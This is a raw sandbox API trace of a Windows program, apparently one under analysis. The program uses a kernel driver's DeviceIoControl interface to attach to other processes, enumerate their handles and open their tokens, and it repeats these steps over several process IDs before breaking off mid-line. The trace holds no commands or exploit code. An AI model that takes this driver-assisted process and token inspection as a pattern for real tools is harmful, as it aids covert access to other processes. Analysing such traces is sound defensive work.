[0132.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.607] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.607] PsAcquireProcessExitSynchronization () returned 0x0 [0132.608] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005d0) [0132.608] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.608] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.608] PsReleaseProcessExitSynchronization () returned 0x2 [0132.608] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaa [0132.608] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.608] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.608] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.608] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.608] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0132.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.608] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0132.608] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.608] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0132.608] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.608] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.608] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.608] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.608] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.610] CloseHandle (hObject=0xc8) returned 1 [0132.610] CloseHandle (hObject=0xc0) returned 1 [0132.610] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.610] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.610] PsAcquireProcessExitSynchronization () returned 0x0 [0132.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0) [0132.610] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0132.610] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.610] PsReleaseProcessExitSynchronization () returned 0x2 [0132.610] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0132.610] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.610] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0132.610] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.610] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.610] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0132.610] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.610] PsAcquireProcessExitSynchronization () returned 0x0 [0132.610] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0) [0132.610] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0132.610] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.610] PsReleaseProcessExitSynchronization () returned 0x2 [0132.610] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0132.610] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.610] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0132.610] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.610] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.611] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.611] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.611] PsAcquireProcessExitSynchronization () returned 0x0 [0132.611] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff880050005d0) [0132.611] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.611] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.611] PsReleaseProcessExitSynchronization () returned 0x2 [0132.611] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0132.611] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.611] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.611] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.611] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.611] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0132.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.611] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0132.611] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.611] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0132.611] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.611] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.611] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.611] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.611] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.613] CloseHandle (hObject=0xc8) returned 1 [0132.613] CloseHandle (hObject=0xc0) returned 1 [0132.613] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.613] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.613] PsAcquireProcessExitSynchronization () returned 0x0 [0132.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0) [0132.613] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0132.613] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.613] PsReleaseProcessExitSynchronization () returned 0x2 [0132.613] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0132.613] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.613] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0132.613] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.613] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.613] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0132.613] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.613] PsAcquireProcessExitSynchronization () returned 0x0 [0132.613] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0) [0132.613] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0132.613] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.613] PsReleaseProcessExitSynchronization () returned 0x2 [0132.613] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0132.614] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.614] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0132.614] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.614] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.614] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.614] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.614] PsAcquireProcessExitSynchronization () returned 0x0 [0132.614] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff880050005d0) [0132.614] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.614] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.614] PsReleaseProcessExitSynchronization () returned 0x2 [0132.614] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0132.614] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.614] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.614] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.614] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.614] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0132.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.614] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fb3b30, HandleInformation=0x0) returned 0x0 [0132.614] ObOpenObjectByPointer (in: Object=0xfffffa8001fb3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.614] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x12 [0132.614] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.614] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.614] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.614] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.614] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.616] CloseHandle (hObject=0xc8) returned 1 [0132.616] CloseHandle (hObject=0xc0) returned 1 [0132.616] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.616] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.616] PsAcquireProcessExitSynchronization () returned 0x0 [0132.616] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0) [0132.616] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0132.616] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.616] PsReleaseProcessExitSynchronization () returned 0x2 [0132.616] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0132.616] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.616] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0132.616] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.616] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.616] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0132.616] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.617] PsAcquireProcessExitSynchronization () returned 0x0 [0132.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0) [0132.617] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0132.617] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.617] PsReleaseProcessExitSynchronization () returned 0x2 [0132.617] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0132.617] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.617] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0132.617] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.617] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.617] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.617] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.617] PsAcquireProcessExitSynchronization () returned 0x0 [0132.617] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880050005d0) [0132.617] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.617] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.617] PsReleaseProcessExitSynchronization () returned 0x2 [0132.617] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0132.617] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.617] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.617] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.617] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.617] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0132.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.617] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0132.617] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.617] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0132.617] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.617] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.618] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.618] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.618] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.619] CloseHandle (hObject=0xc8) returned 1 [0132.619] CloseHandle (hObject=0xc0) returned 1 [0132.619] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.619] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 